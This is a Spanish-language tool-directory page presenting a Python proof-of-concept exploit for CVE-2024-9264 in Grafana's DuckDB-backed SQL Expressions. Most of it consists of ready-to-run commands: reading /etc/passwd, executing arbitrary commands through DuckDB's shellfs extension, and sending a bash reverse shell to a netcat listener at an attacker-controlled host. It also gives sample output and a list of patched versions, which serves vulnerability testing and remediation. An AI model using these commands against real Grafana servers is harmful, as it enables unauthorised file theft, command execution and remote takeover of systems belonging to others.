Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-9264 — CVE-2024-9264 PoC de LFI/RCE en Grafana SQL Expressions DuckDB | Kitploit
Herramientas/GitHubGitHub/ozcanpng/cve-2024-9264
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y Educación
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 PoC de LFI/RCE en Grafana SQL Expressions DuckDB

Ver Repositorio
hace 29 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-9264 - PoC de LFI/RCE en Grafana SQL Expressions DuckDB

Prueba de concepto en Python para CVE-2024-9264, una vulnerabilidad de Grafana SQL Expressions que puede permitir la inclusión autenticada de archivos locales y la ejecución de comandos cuando duckdb está disponible en el PATH del proceso de Grafana.

Solo para pruebas autorizadas e investigación. No utilices esto contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.


Qué hace

root@kitploit:~
acceso API autenticado de Grafana -> consulta SQL Expressions DuckDB -> lectura de archivo -> ejecución opcional de comandos mediante shellfs
  1. Envía una solicitud autenticada al endpoint de consulta del datasource SQL Expressions de Grafana.
  2. Lee archivos con DuckDB read_blob(). Si se solicita ejecución de comandos, primero se usa /etc/passwd como archivo de validación predeterminado.
  3. Opcionalmente carga la extensión shellfs de DuckDB y ejecuta un comando a través de una llamada read_csv() respaldada por un pipe.
  4. Lee la salida del comando desde /tmp/cve_2024_9264_out e imprime el resultado decodificado.

El endpoint vulnerable se puede llamar directamente a través de la API; no se requiere interacción con la interfaz de usuario del dashboard. La autenticación sigue siendo necesaria.


Capturas de pantalla

Ejecución de comandos

Prueba de ejecución de comandos

Payload de shell inversa

Entrega de payload de shell inversa

Listener de shell inversa

Listener de shell inversa


Configuración

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

Uso

Lectura de archivos

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

Cuando se usa --file solo, el script lee ese archivo directamente e imprime el contenido decodificado en la sección de resultado de lectura de archivo.

Ejecución de comandos

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

El script primero realiza una lectura de validación predeterminada de /etc/passwd, luego entrega el payload del comando. En la sección de resultados imprime la salida decodificada del comando en lugar de la respuesta JSON sin procesar de Grafana.

Shell inversa

Inicia un listener:

root@kitploit:~
rlwrap nc -lvnp 4444

Envía el payload de shell inversa:

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

Simulación (dry run)

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

Depuración

root@kitploit:~
python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

Opciones

Estas opciones se basan en la CLI actual del script:

root@kitploit:~
-u, --url, --target TARGET
                        URL objetivo, ej. http://localhost:3000
--username USERNAME     Usuario de Grafana. Predeterminado: admin
--password PASSWORD     Contraseña de Grafana. Predeterminado: admin
--file FILE             Ruta del archivo a leer. Ruta de prueba predeterminada: /etc/passwd
--expected-marker MARKER
                        Marcador esperado en la respuesta de lectura de archivo. Predeterminado: root:
--cmd CMD               Comando a ejecutar a través de la ruta shellfs de DuckDB
--reverse-shell         Ejecutar un payload de shell inversa bash
--lhost LHOST           Host del listener para --reverse-shell
--lport LPORT           Puerto del listener para --reverse-shell
--timeout TIMEOUT       Timeout HTTP en segundos. Predeterminado: 20
--verify-tls            Verificar certificados TLS. Predeterminado: habilitado
-k, --insecure          Deshabilitar verificación de certificados TLS
--dry-run               Imprimir metadatos del objetivo y del payload sin enviar solicitudes
--debug                 Imprimir metadatos de depuración de la solicitud

Ejemplo de salida

Lectura de archivos

root@kitploit:~
[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Ejecución de comandos

root@kitploit:~
[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

Afectados

ProductoVersión afectadaAcceso requeridoImpacto
Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x y 11.2.x antes de las versiones de seguridad corregidasVisor o superiorInclusión de archivos locales e inyección de comandos cuando DuckDB está presente en el PATH de Grafana

Grafana señala que la explotación requiere que el binario duckdb esté presente en el PATH del proceso de Grafana; las distribuciones normales de Grafana no instalan DuckDB por defecto.


Notas

  • Se requieren credenciales válidas de Grafana.
  • La cuenta debe tener permisos de Visor o superiores.
  • La explotación directa por API no significa explotación no autenticada; las solicitudes aún necesitan una sesión válida o credenciales de autenticación básica.
  • La lectura de archivos se utiliza como primer paso de validación antes de la ejecución de comandos.
  • La ejecución de comandos depende de DuckDB y del comportamiento de la extensión shellfs en el entorno objetivo.
  • Para objetivos TLS con certificados autofirmados, usa -k o --insecure.
  • Las versiones de seguridad corregidas incluyen Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 y 11.2.2+security-01.

Referencias

  • Aviso de Grafana - CVE-2024-9264
  • Blog de la versión de seguridad de Grafana
  • NVD - CVE-2024-9264

Autor

ozcanpng - github.com/ozcanpng - ozcanpng.dev

Descargar herramienta